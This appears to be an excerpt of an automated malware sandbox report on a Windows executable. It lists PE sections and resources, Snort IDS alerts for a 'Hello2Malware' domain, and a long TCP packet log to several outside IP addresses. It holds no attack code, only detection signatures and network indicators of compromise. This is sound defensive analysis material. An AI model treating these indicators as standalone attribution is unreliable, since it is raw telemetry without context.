.text	0x2000	0x7eba	0x8000	0a875cc5d954dbdddf1b39f39bff1b73	False	0.62139892578125	data	6.361305781043475	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x5b6	0x600	f005530f57aaa95e815430acb7578451	False	0.41796875	data	4.101791456119125	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa0a0	0x32c	data			0.4224137931034483
RT_MANIFEST	0xa3cc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/11/24-16:39:51.082297	UDP	2856462	ETPRO TROJAN DNS Query to Hello2Malware Domain	60783	53	192.168.2.10	1.1.1.1
03/11/24-16:39:51.082297	UDP	2856398	ETPRO TROJAN DNS Query to Hello2Malware Domain	60783	53	192.168.2.10	1.1.1.1
03/11/24-16:39:51.280804	TCP	2856401	ETPRO TROJAN Observed Hello2Malware Domain	54313	443	192.168.2.10	172.67.190.93
03/11/24-16:39:51.280804	TCP	2856465	ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI	54313	443	192.168.2.10	172.67.190.93

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2024 16:39:40.947871923 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:40.947910070 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:40.947990894 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:40.988661051 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:40.988699913 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:41.431292057 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:41.431390047 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:41.436518908 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:41.436553955 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:41.436872005 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:41.488780022 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:41.539452076 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:41.584232092 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.057434082 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.057720900 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.057796955 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.057826996 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.057836056 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.057868004 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.057881117 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.057919979 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.057955027 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.057965040 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.057974100 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.057996035 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.098170042 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.098196983 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.145032883 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.272875071 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.272938013 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.272965908 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273044109 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273046970 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.273077011 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273092985 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.273161888 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273195028 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273216009 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.273226023 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273266077 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.273277998 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273408890 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273466110 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273513079 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.273525000 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273564100 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.273617029 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273685932 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273762941 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273807049 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.273813963 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273824930 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.273853064 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.317034960 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.317059040 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.363810062 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.488485098 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.488683939 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.488775015 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.488795042 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.488820076 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.488941908 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.488993883 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.489002943 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489041090 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.489048004 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489157915 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489248991 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489298105 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.489306927 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489341974 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.489347935 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489495039 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489587069 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489639044 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.489645958 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489732027 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.489737034 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489850044 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489936113 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.489988089 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.489995003 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490036011 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.490040064 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490144014 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490232944 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490292072 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.490298986 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490339994 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.490345001 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490463018 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490550041 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.490559101 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490636110 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490696907 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.490703106 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490783930 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490866899 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490914106 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.490921974 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.490963936 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.490968943 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.491122007 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.491136074 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.491183996 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.491192102 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.491228104 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.491233110 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.491343975 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.491425991 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.491470098 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.491477013 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.491512060 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.703803062 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.703908920 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.703969002 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.703977108 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.703995943 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704078913 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704114914 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.704123974 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704159021 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.704164028 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704207897 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704265118 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704302073 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.704308987 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704323053 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704340935 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.704417944 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704528093 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704560995 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.704569101 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704601049 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.704607964 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704725027 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704776049 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704806089 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.704813004 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704862118 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.704868078 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704922915 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.704982042 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705023050 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.705029964 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705064058 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.705071926 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705171108 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705224037 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.705235004 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705308914 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705343008 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705391884 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705391884 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.705406904 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705444098 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.705588102 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705713987 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705754995 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.705763102 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705796957 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.705801964 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705847025 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.705882072 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.705888987 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706001043 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706057072 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706093073 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.706099033 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706130028 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.706134081 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706211090 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706264019 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706299067 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.706305981 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706341028 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.706346035 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706594944 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706655025 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.706660986 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706784964 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706844091 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706888914 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706890106 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.706903934 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.706928968 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.707048893 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707104921 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.707104921 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707120895 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707154989 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.707176924 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707315922 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707360983 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707360983 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.707375050 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707520962 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707565069 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.707566023 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707580090 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707618952 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.707639933 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707674980 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.707689047 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707771063 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707808971 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.707814932 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707895994 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707956076 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.707962036 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.707972050 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.708025932 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.708033085 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.708100080 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.708153963 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.708197117 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.708203077 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.708249092 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.708370924 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.708482027 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.708530903 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.708537102 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.708547115 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.708594084 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.708604097 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.718465090 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.718648911 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.919203997 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.919409037 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.919472933 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.919491053 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.919619083 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.919673920 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.919682026 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.919773102 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.919831991 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.919846058 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.919944048 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.919991970 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.920006990 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920104980 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920150042 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.920156956 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920269012 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920312881 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.920320034 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920428991 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920471907 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.920479059 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920603037 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920655966 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.920661926 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920753002 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920799017 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.920805931 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920902967 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.920948982 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.920963049 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921072006 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921127081 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.921133995 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921261072 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921314001 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.921320915 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921426058 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921474934 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.921483994 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921569109 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921606064 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.921612978 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921749115 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921789885 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.921796083 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921917915 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.921958923 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.921966076 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922072887 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922122002 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.922128916 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922204971 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922252893 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.922259092 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922347069 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922389030 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.922395945 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922502995 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922554970 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.922561884 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922715902 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922784090 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.922790051 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922890902 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.922956944 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.922970057 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923054934 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923104048 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.923110008 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923213959 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923269033 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.923275948 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923357010 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923403025 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.923413038 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923501968 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923547983 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.923554897 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923660994 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923713923 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.923721075 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923804998 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923861027 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.923867941 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.923965931 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.924000978 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.924007893 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.924098969 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.924151897 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.924161911 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.924259901 CET	443	49707	140.82.114.3	192.168.2.10
Mar 11, 2024 16:39:42.924316883 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:42.939575911 CET	49707	443	192.168.2.10	140.82.114.3
Mar 11, 2024 16:39:43.059056997 CET	49709	15082	192.168.2.10	45.77.111.135
Mar 11, 2024 16:39:43.061813116 CET	49710	50640	192.168.2.10	203.161.32.242
Mar 11, 2024 16:39:43.063771963 CET	49711	80	192.168.2.10	18.141.177.23
